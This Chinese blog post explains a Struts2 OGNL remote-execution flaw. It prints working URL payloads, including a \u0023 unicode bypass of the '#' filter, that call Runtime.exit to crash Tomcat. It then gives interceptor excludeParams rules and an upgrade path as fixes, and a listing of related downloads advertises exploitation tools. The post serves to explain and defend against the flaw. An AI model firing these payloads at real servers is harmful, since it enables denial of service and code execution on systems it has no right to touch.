`
一日一博
  • 浏览: 229587 次
  • 性别: Icon_minigender_1
  • 来自: 武汉
社区版块
存档分类
最新评论

Struts2远程执行漏洞

阅读更多
Struts2转码有个bug,可以导致应用挂掉(也可以执行类似 rm –rf /root,只要有权限的话)

在访问你应用的action的URL连接后面用get请求的方式带上参数

?('\#_memberAccess[\'allowStaticMethodAccess\']')(meh)=tr&(aaa)(('\#context[\'xwork.MethodAccessor.denyMethodExecution\']\=\#foo')(\#foo\=new%20java.lang.Boolean("false")))&(asdf)(('\#rt.exit(1)')(\#rt\=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是:
java.lang.Runtime.getRuntime().exit(1);

就会停掉Tomcat

为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,所以上面这个参数在Struts2.1.8之后就没有效果了,但如果使用了Java的unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1


转义后是这样:

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

还是可以停掉服务器

如下图,Tomcat就直接down掉了




解决方法:Struts2的interceptor参数过滤

<interceptor-ref name="params"> 
<param name="excludeParams">.*\\u0023.*</param> 
</interceptor-ref> 


但还不完全,可以这样过滤

把JAR包升级到2.3.4版本,发现struts-default.xml参数过滤是这样的:

<interceptor-ref name="params">
    <param name="excludeParams">
dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,parameters\...*
    </param>
    </interceptor-ref>


而且在ParametersInterceptor拦截器里面是通过正则表达式来控制参数值


这样就万无一失了,不过要注意更新JAR包的时候相关联的一系列JAR包都要覆盖。
  • 大小: 230.6 KB
  • 大小: 20.2 KB
分享到:
评论

相关推荐

    Struts2远程命令执行漏洞解析

    Struts2远程命令执行漏洞解析 漏洞解析 远程命令 Struts2

    Struts2远程执行漏洞 Jar包集合体

    然而,随着时间的推移,Struts2框架发现了一系列的安全漏洞,这些漏洞可能导致远程代码执行(RCE)风险,使攻击者能够完全控制受影响的服务器。在给定的标题和描述中,提到了几个关键的Struts2漏洞,包括S2-057、S2-...

    Struts2远程代码执行漏洞分析(S2-013)1

    Struts2 远程代码执行漏洞分析(S2-013) Struts2 是 Apache 官方的产品,最近出了一个远程代码执行漏洞,编号“S2-013”,目前是 0DAY,官方没有修补方案出现。这个漏洞出现在 includeParams 属性中,允许远程命令...

    struts2漏洞利用工具

    然而,Struts2在历史上曾出现过一系列的安全漏洞,其中一些是高危的,允许攻击者执行远程代码或控制系统。这个"Struts终极漏洞利用工具"显然旨在帮助安全研究人员和管理员检测和测试Struts2应用是否存在这些已知漏洞...

    Struts2远程命令执行验证工具

    1. **快速检测**:该工具能够迅速扫描并检测出是否存在Struts2远程命令执行漏洞,节省了手动检查的时间和精力。 2. **批量导入验证**:对于大型网络环境,支持批量导入多个目标URL,进行批量检测,提高了工作效率。...

    Struts 2 远程代码执行漏洞(s2-045\s2-046)修复所用到的包

    升级到2.3.32所用到的jar包: freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-core-2.3.32.jar struts2-spring-plugin-2.3.32.jar xwork-core-2.3.32.jar --来源 ...

    全网最全Struts 2 全版本漏洞检测工具,最新struts漏洞更新

    其中,最著名的漏洞是CVE-2017-5638,也就是“S2-045”或“Struts Shatter”,这是一个严重影响Struts 2的远程命令执行漏洞,允许攻击者通过HTTP头注入恶意OGNL表达式,从而控制系统。 该全版本漏洞检测工具可能...

    Struts2 S2-029远程代码执行漏洞初探1

    Struts2 S2-029 远程代码执行漏洞初探 Struts2 是一个基于 Java 的 Web 框架,使用 OGNL 表达式来访问 ActionContext 中的对象数据。在 Struts2 中,标签库使用 OGNL 表达式来获取对象数据,例如 `...

    struts2 最新漏洞 S2-016、S2-017修补方案 .docx

    最近,Struts2 发生了两个严重的漏洞,分别是 S2-016 和 S2-017,这两个漏洞可能会导致攻击者执行恶意代码,从而危害到网站的安全。 S2-016 漏洞是由于 Struts2 的 Ognl 表达式语言解析器存在缺陷,从而导致攻击者...

    Struts2漏洞检查工具Struts2.2019.V2.3

    1. OGNL(Object-Graph Navigation Language)表达式注入:这是Struts2最著名的漏洞类型,由于框架在处理用户输入时没有进行充分的过滤和验证,攻击者可以通过构造恶意的OGNL表达式来执行任意代码,从而导致远程代码...

    Struts2漏洞利用工具

    Struts2是一个基于MVC设计模式的Web...当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

    Struts2漏洞检查工具2018版.zip

    然而,随着广泛的应用,Struts2也暴露出一些安全问题,其中最著名的是Struts2远程代码执行漏洞,这可能导致恶意攻击者完全控制受影响的服务器。 2018年,针对Struts2的安全漏洞,出现了多个重要的更新和补丁。...

    Struts2漏洞检查工具2018版.rar

    1. **S2-045**:这是一个远程代码执行漏洞,允许攻击者通过精心构造的HTTP请求头来执行任意代码。 2. **S2-048**:这个漏洞允许攻击者通过修改Content-Type字段来执行任意代码。 3. **S2-057**:与S2-045类似,也是...

    Struts2-045漏洞利用工具

    这个漏洞源于Struts2的一个核心组件,即OGNL(Object-Graph Navigation Language)表达式处理方式,它允许恶意用户通过HTTP请求注入恶意代码,从而可能导致远程代码执行(RCE)。 Apache Struts2是一个非常流行的...

    struts2漏洞s2-045,不升级jar版本的修补方法,已验证.docx

    Struts2 漏洞 S2-045 修补方法 Struts2 是一个基于 Java 的 Web 应用程序框架,广泛应用于企业级应用程序中。然而,Struts2 中存在着一些漏洞,例如 S2-045 漏洞,该漏洞可能会导致严重的安全问题。今天,我们将...

    struts2远程命令执行环境搭建及录屏

    struts2远程命令执行漏洞环境搭建以及录屏

    Struts2漏洞利用工具2019版 V2.3.zip

    "cmd.txt" 文件可能包含了命令行参数或脚本,这些命令和脚本用于执行漏洞探测和利用过程。例如,它可能包含用于构造恶意请求的OGNL表达式,或者用于在成功利用后执行的系统命令。对于安全专家来说,分析这些命令可以...

    K8 Struts2 Exp 20160516(Struts2综合漏洞利用工具)

    1. **CVE-2016-1000031**:这是Struts2中最著名的一个漏洞,被称为"远程代码执行"漏洞。攻击者可以通过构造特定的HTTP请求头来执行任意系统命令,从而获取服务器权限,对系统造成破坏或数据泄露。 2. **Ognl注入**...

    struts2目前无漏洞的版本

    4. **CVE-2014-0114**:这个漏洞允许攻击者通过特定的请求参数值触发远程代码执行,主要影响使用Struts2的显示标签库的用户。 5. **CVE-2013-2261**:也被称为“Struts2零日漏洞”,攻击者可以通过精心设计的HTTP...

Global site tag (gtag.js) - Google Analytics